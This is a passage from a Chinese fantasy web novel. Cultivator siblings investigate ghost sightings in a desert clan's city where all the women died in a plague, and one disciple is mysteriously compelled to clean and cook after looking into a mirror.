顾梦真皱眉嚼巴嚼巴刺柳:“什么玩意,这是食物的味道吗?” 乐鸿也吃了沙葱,然后礼貌微笑道:“挺……原汁原味的,真的能吃到沙子欸。” 这不对了吧! 明易庆幸自己始终没碰过筷子。 主臣二人:…… 虽然客人们的吐槽不算客气,但他们也不生气啊。郑银仁叹了口气道:“唉,孤也想换个厨子,只是目前没找到合适的人选。几位将就着用吧,其实食能果腹足以。” 不,他们几个早已辟谷的修士,怎能容许自己从“吃香喝辣”退化到“食能果腹”呢,这太反进化了。 曾换月一言难尽道:“你身为城主居然也只能吃到这些玩意,那其他族人究竟吃的什么……亏你们能长这么壮哈,也是天赋异禀了。” 郑银仁和吴志对视一眼,很明显是互相意会了什么。前者苦笑一声道:“实不相瞒,其实几年前也是有不少好厨子的,当时这些菜肴虽称不上珍馐美馔,但也算色香味俱全。” 石映心看着一桌的菜,不得不怀疑这人说话的真假:“是吗,那好厨子都去哪了?” 郑银仁:“都死了。” 桌上一静。 石映心:“怎么死的?” 郑银仁脸上遗留着方才很浅的苦笑:“忽然一夜大病来,抵抗不住的人都死去了。” 听到这里大伙隐约有些奇怪了,但他们思考的速度没有石映心的嘴快:“所以你们全族的女子都在那场大病中死了?” 大概是对方话题转得太快,一下子又切中要点,郑银仁微微一愣,不过还是点点头,平静道:“是,说得不错。当时死去了不少男子,但毕竟女子的身子要更弱些……” 明易便问:“看来此病确实骇人,既然如此,灾祸又是怎么结束的?” 吴志这时候说话了:“这多亏了天神的庇佑……当然,也是城主功德深厚,带着族人们举行祭祀后大功告成,让天神听到了我们的祈愿,带走了病难。” 这里的天神应该就是帝俊吧……若是放在以前,石映心等人听到这话就要开始不信了,但她们刚经历过天机阁一事,对从来不了解的“祭祀”也有了新的认识,这会都接受良好:“然后呢?” “然后……”就听吴志忽然话锋一转,低沉道,“自那以后,我们再也找不到离开沙漠的路了。不管往哪里走,都只能在城外一里内兜转。” 曾换月问:“啊,为何这样?” 郑银仁:“尚未查明真相。” 石映心:“若是在祭祀后才如此,那看来是你们口中的天神帝俊把你们困在这了。” “不可能!”吴志忽然大声起来,瞪着小眼睛看她,“天神不会害我们,定是哪里出了我们意想不到的差错……” 石映心:“所以你的意思是你们城主举行的祭祀有问题?” “……”一丝沉默点燃了更大的炮仗了,“你少胡说八道!我从来没这么说!城主和天神都没错,一定是别处的差错!你这人怎么……” “够了!”郑银仁叹了口气,一手捂着耳朵一手抬起来制止在他耳边吼的大喇叭,“七年前的事都过去了,不必再想;当务之急是解决现下的难题。” 石映心觉得他这个说法不对,但这时候听到大师兄传来的密音,于是就先闭上了嘴,听大师兄问道:“城主热情招待我们,可是想从我们身上找到离开沙漠的办法?”【】 130-140 第131章 郑银仁朝他点头:“不错,你们可有信心?” 明易道:“可一试。” 得到他的回答,郑银仁这才正大光明地打量了几人,慢慢笑道:“孤知道你们所说的‘巧合’逃出生天只是谦辞,来到陌生环境, 隐藏实力也是情有可原。既然几位已经答应了要帮孤,那来我们三足乌族的目的究竟是什么,也可以告知了。” 这算是拆穿了他们先前的借口。几人对视一眼,看着没说话,其实都在密音中喊:“大师兄你快再想个借口!” 明易:…… 他沉吟片刻后道:“实不相瞒,我们几人是受朝廷所托来调查你们三足乌族不显于世的真相;朝廷忧虑你们是故意为之,或许在筹划什么阴谋;没想到今日来了一看,竟是身不由己。” 郑银仁闻言笑道:“既然是朝廷特派来的人,想来不是平庸之辈。孤见几位气度不凡,难道是修仙人士?” 没想到这城主还有些脑子啊。 不过……明易总觉得这郑银仁话里话外有些其他意思? 这时候映心传密音来:“他好像很期待。” 期待? 明易略一斟酌,并未先回他的话,而是一转话题问道:“我们到此已是夜深人静,方才我们同吴副城主一路走来,很少见路边的屋中有光亮,想来早已过了族人就寝的时间;不知城主夜不能寐,废寝忘食,是在为何事忧心?” 郑银仁顺势叹了口气道:“唉……确实是有一事,甚至比离开沙漠还要着急些。” 曾换月紧张又期待道:“是什么什么?” “其实是……” 话还没开始说,忽然听见“砰砰砰”的好大力的敲门声。几人皆是一吓,转头往正门的方向望去,又听见破门而入的动静和着急的脚步声,很快有一个侍卫跑来:“不好了主公,又有人见了鬼!” 见鬼?!这是什么发展? 郑银仁立刻站起:“人没死吧?” 侍卫报告:“只是吓晕过去了。” 郑银仁便松了口气,侧头朝吴志吩咐道:“你跟去看看,切忌轻举妄动。” “是!”吴志应了一声便跟着侍卫跑了。 餐桌上又恢复了安静,郑银仁叹了口气,又坐下来喝了口水,看向安静的明易道:“我方才来不及说完的急事……便是这闹鬼一事了。几位皆是修道仙人,斩妖除鬼应不在话下?” 明易微微颔首:“自然。” 见他明显松了口气,紧接着又道:“不过还请城主将事情的前因后果一一道来,毕竟这鬼也不能乱杀。” 郑银仁意外道:“都是鬼了还不能乱杀?” “那当然了,”曾换月下巴一抬,“鬼也分好坏啊,我们都是名门正派的弟子,怎么能乱杀无辜呢?” 石映心:“不能。” 郑银仁看向她们:“可这些鬼都吓晕我们不少族人了,有一个前几日甚至不幸被吓死了。” 曾换月:“这些啊?还不止一只?” 郑银仁朝她尴尬一笑。 “你都说只是‘吓’了,它没真的伤你们,”顾梦真客观分析,“看来它是别有所图,也许我们可以问问这些鬼究竟想要什么。” 郑银仁听到这脸上一僵:“想要什么……难不成它们想要什么,孤还要乖乖给它们?” 乐鸿安慰他:“城主不必紧张,许多厉鬼不过是心中有执念罢了,并不是真的贪恋凡物;正巧在下会一些佛教心法,也许能助它们化解执念。” 郑银仁瞥了眼他的光头,微不可察地叹了口气:“几位仙人仙法高超,其实不必把事情搞得如此复杂……” 石映心冷漠道:“可你们连简单的办法都办不到。” 郑银仁:…… 真是好久没听过这么不客气的话了,但没法,就如她所说的,他们连简单的办法都办不到,如今是有求于人,还是暂且要客气一些…… “几位说得是,那就按你们的办法来。”他露出一个宽容的微笑,“只要能帮我族解决这些作乱的鬼怪,届时孤必然酬功报德。” 酬功报德? 石映心瞅了瞅桌上那些玩意,心说他们连好吃的饭菜都没有,能有什么好东西报答她们呢?但出于(大师兄的)礼貌,她是不好问的。 事情看起来已经这么决定了。 二师兄说趁刚才侍卫来报闹了鬼,我们现在就过去看看吧。郑银仁自然求之不得,大伙也都同意了。 走到正厅的时候,石映心无疑瞥到翘头案上挂着的一幅画,是那只三足鸡。她忽然想到什么,转头问郑银仁道:“你们祭祀的天神连可怕的病疫都能去除,为什么不再求求他帮你们解决了这些鬼?” 咦,这么说有点道理啊,大伙纷纷停下脚步,看向郑银仁,静等一个回答。 郑银仁看了看石映心,又看了看案上的画,扬起一个客气的微笑:“因为马上我们便要举行一场盛大的祭祀,目前一切的准备都是为了此事顺利进行……在事成之前,确实不便叨扰天神。” 翻译:马上要求个大的愿望,其他小事得先靠边。 石映心便问:“哦?什么事?” 郑银仁脸上客气的微笑一动不动:“这便是我族的秘密了。” 翻译:不说。 场面一静。 也只是场面静着,大伙的脑子里很吵,充斥着曾换月声音:“哎呀这个城主是什么意思啊?还想吊我们胃口!” 顾梦真哼一声:“搞什么嘛,要不我们威逼利诱呗!其实这么想来真不划算,我们又是帮他想办法的离开沙漠又是帮他捉鬼的,虽说咱们也是别有所图吧,但这人还真好意思提要求!” “不急。”明易道,“一切为了查明真相。” “嗯。”难得石映心也这么说,“虽然还不知道是什么,但我感到这是件对郑银仁来说非常重要的事……若是威逼利诱,怕他不依。” 乐鸿莫名信她:“真是这么重要?” 曾换月撇嘴:“师姐说是就是。那好吧,暂且忍他的厚脸皮!” 于是就这么不愉快地决定了。 她们离开城主府,就见夜幕之中,东北方的街上有显眼的火光传来,还能听到一些窸窣的人声,于是往那处跑去,打算先浅看一下情况。 追着火光来到人家门口,看见吴志和方才来通报的侍卫正站在门口说话,见到他们来了便疑问地看来。明易瞅了眼门内,很快地解释了来历,总之说是城主叫他们来帮忙的。 “哦,”吴志点头道,“不过似乎已经没事了,侍卫们已经搜查过,没再看见鬼影。” 他边上的侍卫叹了口气:“又给跑了!” 说的好像不跑他们就能捉住似的?顾梦真便问:“你们难道有什么处理鬼的手段?” 吴志和侍卫对视一眼。 “好似没有。” “从没抓到过,所以也没想过抓到后处理它们的办法。” 石映心:“那怎么抓呢?” “……” “从没迎面撞见过,所以也没想过怎么抓。” 几人:……什么啊这几个人,指望他们能抓到鬼就怪了。 就在这时,有谁从门内走出来,他们转眼一看,是一个侍卫扛着一个晕厥的男子。他见了吴志便说:“副城主,属下先将此人送去少司命那救治。” 吴志没给一个眼神,随意挥挥手:“去吧去吧。” 石映心等人见那个晕厥的男子四五十左右,长得是又壮又圆的,被侍卫扛着还压对方半头呢;看着就凶横的脸此时面如菜色,他整个人无力地塌在别人身上,像一个脱水变皱的土豆。 侍卫小哥艰难地半扛半拖着他走了。 明易收回视线,对吴志道:“吴副城主,我们受城主之命调查此事,应要进入此屋中一探究竟。” 吴志说:“鬼已经不见了。” 曾换月抬起下巴:“只是你们瞧不见而已。” 吴志与他下属对视一眼,看得出来他们并不太信任的态度,但明易都说了是“受城主之命”……“行吧,那你们就随便看,别惹事就行,大晚上的还是消停些,我就带着人先走了。” “慢走不送。” 等吴志带着几个侍卫离开,乐鸿才对几人道:“几位道友,此屋中确实还残留着鬼气,一切还是要小心行事。” 曾换月笑道:“乐鸿你就放心吧,有我们在不会出事的,不过是几只鬼而已。” 明易正想让她别这么心大,余光就看见石映心已经迈过门槛往里头走了,连忙叫了她一声,快步跟上。 这屋子是算宽敞的二进院,放在寻常城中是家底较厚的百姓才能住得起的;院子和正房瞧着都有些混乱,一些东西被碰倒在地上,还有被摔烂的椅子等,从这些残尸中仿佛能想象出发生过的热闹情节。 她们能感到若有若无的鬼气,但只是很薄地散在空中,营造一种阴森的气氛,找不到具体的来源。 正站在院子里商量是要分头行动还是一起行动的时候,石映心忽然顿在了原地,抬手贴上自己的心,总觉得有些异样?明易发现她的不对劲便追问了一句:“怎么了?” 石映心:“心跳得有些快。” 乐鸿道:“难道石道友怕鬼?” 曾换月和顾梦真异口同声:“怎么可能!” 确实不可能,明易又问:“可是哪里不舒服?” 石映心摇摇头。 小师妹又说:“是不是因为刚才的饭菜太难吃了,我都怀疑有毒!” 顾梦真却道:“不至于吧,我们也吃了啊。” “……我没事。”其实只是很小的异常,石映心见大家都关注着她,并不想因此耽误进度,摇摇头道,“已经没事了。” 明易盯着她:“不要逞强。” “真的没事。”石映心说,“我们分头行动,人太多也许鬼不敢出来。” “好。” 第132章 五个人分了三组,石映心和师妹一组,二师兄和乐鸿一组,明易就自己一人;师姐妹二人来到西厢房,将紧闭的房门一推,先是听见了僵硬刺耳的嘎吱声,月光照透了迎面的灰尘。 曾换月捂住鼻子后退一步:“我去,这房多久没人打扫了!” 石映心觉得这些灰尘都要飘进她的眼中,落到她的镜面上,确实很烦人。可这满屋的灰尘是避无可避了,只好拿手挥了挥当心理作用,还是抬脚迈过了门槛。小师妹在后边不满地嘟囔道: “一个人也不是不能住大屋子,但他居然不打扫;自己不打扫就算了还不请人打扫,搞不懂这些男的,真是好面子!那叫什么来着……金玉其外败絮其中?烂的都是根……” 她絮絮叨叨着,忽然见师姐停住了脚步,头也不回地说:“这里以前有住过人。” 曾换月一愣,左右看了看堂屋,桌椅翘头案应有尽有,高几上摆着两个花盆,枯萎的枝干像蜘蛛丝垂落在盆上;旁边的案上挂着一幅画,月光只照亮了下半幅,仿佛是女子的长裙。 她长长地、轻轻地吁了口气,嘘声道:“我想起来了,他们族的女子都死了。也就是说这里很可能是……” 小师妹没说完,但石映心还是点了点头“嗯”了一声,转身就往边上的卧房走去;曾换月紧跟其后:“等等我啊师姐!” 卧房很普通,一切都被灰尘凝固在它们最后一次被使用的情景。一进这屋,曾换月猝不及防地打了个寒颤,奇怪的是这股寒气竟就这么一直留存在她身上,无法离开。 她忍不住抱住自己,以她先前看恐怖片的经验,这屋肯定有问题……对了,问问师姐:“师姐……” 她抬起眼来,瞧见师姐正往前方的床榻走去;这张床应是有七八年没睡过人了,暗粉色的床帐沉甸甸地垂落下来,罩住了里头的情景。她见师姐要将床帐掀开,不由得提起了一口气。 静谧之中,床帐布料相触的声音格外明显;边上的窗户盖着厚厚的灰,只能面前照亮窗前的妆奁,更顾不上这厚厚的帐幔,以及床榻上那薄薄一片的人影…… 人、不是……什么影? 曾换月猛然闭眼再睁开,定睛一看——什么都没有啊!难道是她想象力太丰富脑子里的画面太逼真乃至于出现了幻觉? 不行不行,怎么能自己吓自己。 就在她想说说话让自己清醒一会,却见她师姐忽然放下了床帐,转身几步快走到了妆奁前,拿起桌上的铜镜就照了起来,她面无表情地、直勾勾地盯着镜面;可这面满是灰尘、几乎只照得见含糊轮廓的镜子有什么好照的呢? ……不对,问题是为什么突然要照镜子啊! “师姐?”曾换月下意识轻轻叫了一声,不可思议地觉得师姐很奇怪,“师姐你怎么了……” 她不得不将视线跟随着师姐转移到那面离她的脸很近的铜镜,正冒出一个要把它抢过来念头时,石映心将手中的镜子放下了,荡起桌上一块飞尘。 “这屋子好脏。”她没由来地说了一句。 曾换月还发着愣:“……啊?哦,是,是挺脏的,因为很久没有……” “要打扫干净。”石映心说。 “打、打扫?”曾换月指了指自己,“我,我吗?” 石映心却没反应,竟然就这么转身离开了房间。 曾换月:??? 等她反应过来追出去的时候,就见她不知从哪里找来一块打湿了的抹布,然后二话不说地与她擦肩而过,又进了那个卧房。曾换月完全一头雾水,只好又跟了进去,然后就看到了让她迷惑的一幕: 她的师姐正在……擦桌子? 衣袖还被挽起来了,瞧着格外熟练呢;瞧那判若无人的模样,哪里像还记得她们是来干嘛的,完全就是在认真打扫啊! 完了。曾换月脑子里冒出这两个字,完了。 她师姐遭了! 她一边倒退一边开始喊,好险没被绊倒:“大师兄、大师兄!不好了大师兄,师姐出事了——” 其实明易三人两组并没有发现什么古怪之处,只是在细致地搜查中,这会听见曾换月的喊声,连忙跑了过来,然后同样看见了让他们每个人都很迷惑的一幕:石映心在擦……哦,这会已经擦完了桌子,在擦窗台了。 她还知道用澄净诀将脏了的抹布变干净,但不知道直接把窗户变干净……不,或许她只是想亲手擦而已,毕竟看她的脸色……好认真啊。 几人都是一懵,顾梦真掉了下巴:“映心这是在干嘛啊?” 曾换月苦着一张脸:“我也不知道啊!” 明易走上前去拉住了石映心的一只手,打算探探她灵识情况,后者也没反抗,右手被拉住就换只手继续擦窗户;与此同时曾换月将方才发生的事复述了一遍,说得有些没头没尾莫名其妙的,但这事从她的视角来看还就是没头没尾莫名其妙。 好在还是有个明显的重点的:肯定是和那面铜镜有关! 于是三人你一眼我一眼地将那面镜子打量琢磨了来回,得出一个“只是普通镜子”的结论。 曾换月哇地一声哭出来:“镜子普通,镜子里的鬼就不普通了!她定是从镜子中跑到师姐体内了呜呜呜!” “好了。”明易打断她的哭闹,眉头紧皱,“我只能探查出她经脉有些不稳,丹田灵识都很正常,没有什么鬼气。” 曾换月的哭声凝滞:“啊?那师姐怎么会变成这样呢!” 明易看向开始擦椅子的师妹,无声地摇了摇头。 几人皆是一默,还是乐鸿先安慰道:“好在石道友只是变得……爱干净了一些,不是其他什么……” 说着说着自己也消了声,尴尬挠头。 这时候明易又想起之前她说过的心跳得有些快的事,心律不齐似乎确实会让经脉不稳,但她为何会…… 说起心,明易自然又想到那面心镜。其实这事真的很不同寻常,先不提为何这回会是修为更高的映心遭殃,要真是这屋中的鬼作祟,怎么只是让映心变得……爱干净了呢? 这一切古怪似乎得从一个古怪的地方找答案,比如心镜。 明易沉下心来,稳重道:“我先传音回门派问问情况;此地不宜久留,我们走吧。” 事到如今也只能这样了,几人只好烦闷地离开了这间闹鬼的屋子。 他们被安排住进城主府的客房中。这个情况自然是要让曾换月照顾一下她师姐,二人住一间屋子;她师姐一进屋里就转着眼珠子扫了一圈屋内,淡淡道:“不够干净。”然后又变出抹布打算开始洗洗刷刷。 把接待她们的仆役都看呆了,又尴尬又震惊道:“实在对不住了两位公子,小的现在就叫人再收拾一间干净屋子出来……” “不用了不用了,”曾换月挥挥手,唉声叹气道,“你忙你的去吧,不用管我们了。” “……是。” 她和大师兄二师兄飞快地用澄净诀将屋里变得干净,石映心仔细检查过后确实无法挑剔,看着有些扫兴地收手了。 她师妹师兄松了口气。 总算消停下来。师妹躺在床上小心地问:“师姐你究竟怎么了?” 石映心看着床顶,平静道:“ 我没事,只是突然很想打扫。” 这……这算没事吗?“额,为什么这么突然?” 石映心:“不知道。” 不知道的话问题就很大了啊!“那师姐你能克制自己不打扫吗?” “好像可以,”石映心想了想道,“不过为何要克制?” “……”曾换月没话说,“睡觉吧,我们睡觉吧师姐。” “好。” 曾换月闭上眼睛,诚心期望明日一早醒来,师姐又恢复了寻常的模样。 隔日一早。 曾换月梦见自己被师姐摁在浴桶里洗澡,师姐说她二十年的陈年老皮太脏了,得焕新一下,搓得她鬼哭狼嚎啊,怎么也逃离不开师姐的魔爪…… 从这样的梦里醒来真是解脱,曾换月猛地睁眼,张大嘴巴喘了口气;惊魂未定地往边上一看——天奶,她那么大一个师姐呢!? “师姐!”她跳下床,一边穿衣服一边在屋里找,“师姐你在哪!?” 屋里没找到,她慌慌张张地离开屋子,正巧撞见走过来的顾梦真:“师姐不见了!” “知道知道,你别急嘛。” “师姐丢了!” “没有丢。”顾梦真抓抓脖子,叹了口气道,“总之一言难尽,你跟我来吧。” 曾换月见他这样便知道师姐没丢,但似乎有其他情况?于是一头雾水地跟着他走,一路来到昨晚吃饭的侧厅,还没走进去忽然嗅到了什么味道,皱起鼻子仔细嗅了嗅,不由得道:“好香啊……这是什么味道?” 顾梦真头也没回:“进去就知道了,我本就是去找你用早膳的。” “用早膳?”曾换月扯了下嘴角,“我看还是算了吧,怕吃进去的还没吐出来的多……” 话是这么说,但屋里飘来的奇异香味让她忍不住加快了脚步,一进去就看见大师兄,乐鸿还有郑银仁坐在桌边,餐桌上摆着许多菜肴,正是香味的源头;她忍不住打量起来,发现食材还是昨晚的绿玉盘沙葱刺柳和骆驼肉,但明显看起来……更色香味俱全了? 曾换月挠挠脸,总之先坐了下来,盯着菜说:“郑城主换厨子了?感觉比昨日那位的水平高很多啊……”又意识到什么,“对了我师、师兄呢?” 说曹操曹操到,她话音一落石映心就走了进来,瞧着还是寻常的模样,但不寻常的是手上端着两盆菜。 第133章 曾换月这时候的脑子还没转过来,义愤填膺道:“师兄你起大早去端菜啊?谁敢这么使唤你!”说着还瞪了郑银仁一眼。 郑城主连连摆手道:“曾仙人误会了,孤可不敢叫石仙人去下厨啊。” 曾换月一愣:“你什么意思?你说这些菜是我三师兄做的?” 郑城主手一摊,脸上写了“显而易见”四字。 石映心把最后两碗菜放在桌上后坐了下来,很大方道:“吃吧,别客气。” 但现在也不是客气不客气的问题……一时之间除了石映心本人,竟无一人动筷;郑银仁本来筷子都伸出去了,但又想起方才几人同他说过的昨晚石映心出现的异样,默默地又收了回来。 疑似撞鬼了的人做的菜……能吃吗? 反正石映心本人是吃了,而且是一筷接一筷地吃,与她昨晚直白的“恶心”形成了鲜明对比;她毫不在意其余人打量她的目光,也没有劝别人动筷的意思,反正自己埋头苦吃着。 但这到底是……她的口味变了还是…… 这时候明易说:“咳,这些都是映心一大早起来辛苦做的,肯定要尝尝。”这么说着又率先夹了一筷子,咽下去后缓缓地点了下头,神色看着平静,但眉头却是一挑。 众人见状,纷纷开吃,一筷下去,满眼震惊。 郑银仁惊喜道:“没想到石仙人的手艺如此高超!孤许久未吃过此等美味佳肴了!”话毕就吃起来。 顾梦真也是大惊:“怎么这么好吃……我基本没见过映心下厨啊!” 曾换月目瞪口不停:“(嚼巴嚼巴)难道师、师兄是天才!?” 乐鸿连连点头:“与昨晚的味道是天壤之别。” 连获五个好评的石映心依旧很淡定,身上有一种宠辱不惊的大厨风范,看得几人都很膜拜。 郑银仁提出想要她教几个厨子做菜,但被明易拒绝了:“城主,我们还有正事要做。” 郑银仁这时候想民以食为天,他想以后过上吃好的日子难道不是什么正事吗?再者就留下这石仙人一个教做菜,其他人去办“正事”不就行了……但碍于几人的身份并非是他能随意指使的,他只能选择笑呵呵。 用完早膳,他们打算去那个什么少司命那看看昨晚晕倒的男人。路上明易问师妹:“你今日不打扫,改下厨了?” 石映心点点头。 “为何呢?” “不知道,只是想。” 几人面面相觑,只能安慰自己起码她没做什么损人损己的事…… 走在三足乌城内,在大白天明艳的烈焰照耀下,这座城池的一切一览无余,他们发现路上人不多,很有些冷清。只是地上有一些莫名其妙的……垃圾?比如什么烂掉的沙葱啊,咬了一口的骆驼肉啊,碎碗破衣服…… 他们还看见有人甚至把食物残渣倒在门口的沙地上,然后将沙子盖上去遮住,接着拍拍手仿佛大功告成地进屋了? 这些倒还算能看的吧,重点是路上怎么还有骆驼屎啊!不知道是多久没清理了,有些地方被踩得到处都是! 几人走到这里已经不想继续走了。曾换月崩溃道:“昨晚上天黑没瞧见这些,这三足乌城怎么这么脏乱差啊!” 顾梦真已经捏住了鼻子:“太夸张了!你们有没有闻到一股臭味?” 乐鸿苦着脸:“都是骆驼屎,想不臭也难……” 明易瞅了眼站在边上皱眉的石映心,庆幸她这会已经改了性,要是换成昨天晚上……咳咳。 就在几人打算飞过去的时候,后头有人叫了他们一声,转头一看,是一个侍卫打扮的年轻男人,郑银仁早上说他跟这些侍卫都打过招呼了,会全力配合他们的行动,果然这侍卫很热情道: “几位仙人可是有什么要事吩咐?” 顾梦真瞥见他手中的扫帚和木桶:“你是……扫地的?” 侍卫说:“正是,不过这活是轮流干的,今日轮到我了。” 曾换月不由得有些嫌弃道:“你们族人怎么乱扔垃圾呀!居然是每日都有人打扫的吗?那意思是只过了一天地上就这么脏?” “是啊。”连乐鸿都忍不住道,“与其让你们每日打扫,不如规定不可随意乱扔垃圾较好……” 她说得比较直白,但这侍卫一听反而笑了:“嗐!俗话说得好,男子汉大丈夫不拘小节,我们族内都是男子,这也是难免的。” 几人:? 曾换月无语笑了:“这已经不算小节了吧,都是大便啊!再说连自己的生活垃圾都处理不了的人到底能干什么啊?” 侍卫被她说得有些尴尬:“嗐,其实几年前不是这样的……” 几年前?石映心便明白了:“原来是少了女人后才暴露了你们族男人不会自理的缺陷。” 侍卫挠挠头:“也不算是缺陷吧……” 大伙都懒得和他说了,只想赶紧离开这,留下一句“那你好好打扫吧”,便赶紧飞走了,没瞅见侍卫望着他们飞时惊艳的神情。 路上又问了一个人,这才找到了少司命楚汴的住所。按理来说这样有些官职的人士应该住在临近的地方,比如离城主府近一些,有什么事也方便来往;但楚汴的住所很远,几乎到了城东的尽头,不远外就是城墙和沙漠。 他们一路飞过来,越飞越觉得荒凉,但大概是人住得不多原因,地上也渐渐干净了许多,于是几人暂且松了口气下来走路,毕竟还是想设身处地地探查一下三足乌城中的情况。 走了一会,看见前边一间屋子有人出来,面色晦暗苍白,手上提着药包,走起路来哆哆嗦嗦的,看着很像是来寻医的病人,于是大概知道了那屋就是楚汴的住处。 但也不麻烦多问一嘴,路过的时候顾梦真随意叫住了那病人问:“欸大爷,前边那是少司命家吗?” 没想到这大爷居然很激动地骂了一声:“谁是你大爷,我才四十不到!” 说罢两只浑浊的眼珠子瞪起来瞅了五人一眼,大概是见他们人多,自己又生病,知道起冲突占不到好处,所以只是往地上吐了口痰,冷哼一声后哆哆嗦嗦地快步走远了。 几人:…… 搞什么啊这个大爷。 顾梦真挠挠脸,无辜道:“他不说我以为他六七十了呢。” 曾换月被他刚刚吐的那口痰恶心到了:“呕,我也以为啊。” 石映心也说:“感觉快死了。” “唉,这样不好,”乐鸿摇摇头道:“怎么能乱吐痰呢?” 明易:“……我们走吧。” 走到少司命家门口,门大开着,应该是欢迎随意进出的意思?于是几人也不客气,直接来到内院;院里种了不少花草,但还算整洁,有一个小孩正蹲在一块花地前玩泥巴,看着五六岁的模样。 这难道是楚汴的小孩? 乐鸿见了笑道:“孩童真是天真可爱,去问问他少司命在不在好了。” 他们走近了去问,那小孩见来人了,抬着眼睛盯他们,手上还在继续玩泥巴;乐鸿微微弯腰,和蔼地微笑道: “小弟弟,少司命在不……唔!” 他的话音戛然而止在突然冲他的脸飞来的泥巴球上,也许是太过震惊,乐鸿压根没反应过来,眼瞅着那球逼近了,然后“啪”的一声—— 泥像水一样在脸上砸开。 不过是在小孩的脸上。 这当然是镜灵做的好事。 “啊!啊啊!”小孩被猝不及防地反击,一下倒在地上啊啊尖叫起来,一边擦着脸上的泥巴一边在地上蠕动,“泥!泥!” 大伙这时候都反应过来了,曾换月立刻叉腰生气道:“你什么你,你这小孩怎么这样!我们好声好气和你说话,怎么着你了就,二话不说就朝我们扔泥巴!” 顾梦真:“就是就是!” 乐鸿也觉得有些伤心,直起腰来叹了口气:“唉,小孩顽劣,是我不设防了。” 对一个五六岁的小孩设防才奇怪呢。这小孩还在地上扭啊扭地大叫,越叫越大声,曾换月就更大声道:“你叫啊叫啊,最好把人都叫出来,省得我们去找了!” 她说得真有道理,果然很快就有人闻声而来,是一个清瘦的男人,和他们所见的其他族人粗糙的长相对比,这人还挺眉清目秀的,有一些书生的气质。见他匆忙从屋里出来,看见院中的陌生人也不慌张,先是去关心小孩: “小克,你没事吧?” 男人把这个叫小克的孩子扶坐起来,熟练地拿出帕子给他擦脸,一边擦一边看向几人道:“看几位面生,想来你们便是城主所说的仙人?” 没想到这小城里消息还传得挺快的哈,倒是省了自我介绍了。顾梦真趁着这孩子还在哭,先告状道:“那个,我们可没欺负他啊,是他方才想拿泥巴扔我们,结果自己遭殃了,他不服气就躺在地上哭……我们可什么都没做!” 楚汴露出一个无奈又尴尬的微笑:“对不住,小克还不懂事。” 石映心看看小可,又看看他,判断道:“他不是你的孩子。” 楚汴一愣,点点头道:“他是个……孤儿,在我这暂住。” 孤儿啊,听着有些可怜……几人面面相觑,决定不再提他扔泥巴的事;明易说他们是来见昨晚家里闹鬼的那人,楚汴很配合道:“好,几位请跟我来吧。” 他让小克自己玩去,带着几人往东厢房走去,这里似乎是他平时行医的地方,一进去就能闻到一些苦苦的药味,屋里有坐堂,后边是药柜。家里闹鬼的男人此时正躺在左边的卧房的床榻上……翘着腿看话本? 第134章 见到楚汴来了,他也没起身,只是翻了一页书,瞥了他一眼道:“少司命,什么时候用午膳啊?早膳就一碗粥我哪里吃得饱!” 楚汴微不可察地叹了口气道:“张甲,你已无大恙了,现在就能走。” 张甲一边看话本一边摇头道:“不行啊,我感觉浑身乏力,连床都下不了。” “啊!”曾换月忽然叫了一声,“你身后怎么有一只老鼠!” “草·他·娘·的!”浑身乏力的张甲猛地弹了起来,下了床后拿着手上的话本呢就往床上乱砸,“死老鼠!臭老鼠!看老子不打死你——” 砸得床板哐哐惨叫,听得楚汴好心疼:“别砸了,没有老鼠!” 张甲闻言才反应过来自己大概是被骗了,气得将手中的枕头往曾换月砸去:“你·他·娘·的吓唬老子!看老子不干·死·你——” 曾换月翻个白眼,手一转就将枕头凭空推了回去,谁知这枕头竟死死地黏着张甲的脸不放,任由他怎么抓啊扯啊都没用:“唔唔唔!救命!救命……要没……气了……” 曾换月当然只是想给他一个教训,展示一下实力,让他不敢再对她们造次,也为了后续的沟通方便;于是在此男坐在地上哭得脱力的时候将枕头挪开了。看得楚汴有些惊奇。 张甲瘫在地上瘫了会喘气,终于把气给收回来了,痛哭流涕地爬过来说:“多谢仙人饶命、多谢仙人饶命!” 曾换月冷哼一声:“嘴巴给我放干净点!” 张甲抽鼻涕:“小人明白、小人知错了……” 乐鸿摇头叹气:“施主快起来吧,我们有事问你。你可要想清楚了再答,别再说些胡话了。” “好、好!” 经过这一遭,张甲显然有眼力色了许多,起码一改方才躺着跷二郎腿的姿势,现在是端坐着了,像个老孙子一般:“几位仙人有何吩咐……” 明易道:“我们是来问你昨晚你撞鬼的事。” “哦……”张甲抬眼看他,“是,我是在家中撞了鬼。先前听别人说这事,老子、咳,小人还不信呢,谁想到没几日就给我碰上了。好险我只是晕过去,没死了……” 顾梦真瞥他:“你是装晕的还是真晕?” 张甲连忙说:“我是真晕了!谁撞了鬼不受惊啊……” 石映心便问:“那鬼是怎么吓你的?” “她……”张甲粗乱的眉毛扭了起来,似乎在回忆中组织措辞,“就是把我屋里的油灯灭了,时不时从哪里冲出来吓我一跳,还、还一直追着我,我跑到哪里她就跟来,我躲到床底下她就站在床边不走……” 曾换月觉得这些套路也蛮常见的:“那你可看清了她的模样?” 张甲摇摇头,又点了一下:“看是看不清,只知道是个女鬼,又瘦又矮的,穿着女人的衣服……” 乐鸿闻言,若有所思道:“ 如果是个女鬼,则有可能是你们三足乌族七年前死去的那些女施主……” “哈哈!”张甲忽然笑了一声,“不可能!” 石映心:“为什么不可能?” 张甲道:“当时我们把那些女尸都拖到了城外,埋在沙坑中后还请天神将她们封印住了,她们哪里出得来呢?” 曾换月瞪眼道:“你们为什么要这么做?” “因为……” “因为她们感染了恶病,”楚汴在边上帮着张甲解释道,“这是为了杜绝恶病再次感染我族。” 石映心看向他:“封印是什么意思?” “用泥沙和木板一层一层将她们的尸体封盖住,做成一个厚实的大棺材,避免其中的病气透出。”楚汴说,“只是这个意思。” “阿弥陀佛,这些女施主实在可怜,死后竟是这般待遇……唉。”乐鸿目露悲悯,“楚施主,请问你们将她们埋在了哪里,我想过去为她们念经超度。” 楚汴微微摇头,语气中似乎有些惋惜:“是在我族被困的区域外,若想去那,还得先请几位解决出不去的难题。” 乐鸿便点点头,表示自己知道了。 他们说到这,曾换月突然又把话题扯了回去:“我觉得那鬼很可能就是你娘子啊或者谁,定是和你有关系的,那不然为什么不找别人只找你呢?” 张甲肩膀一跳:“这,这我不清楚啊……” “如果是这样,还有一个问题,”石映心冷静分析道,“找你的鬼和找别人的鬼是不是不同?目前究竟出现了多少只鬼?听郑银仁的话,似乎不止一只。” “额……”张甲下意识看向楚汴。 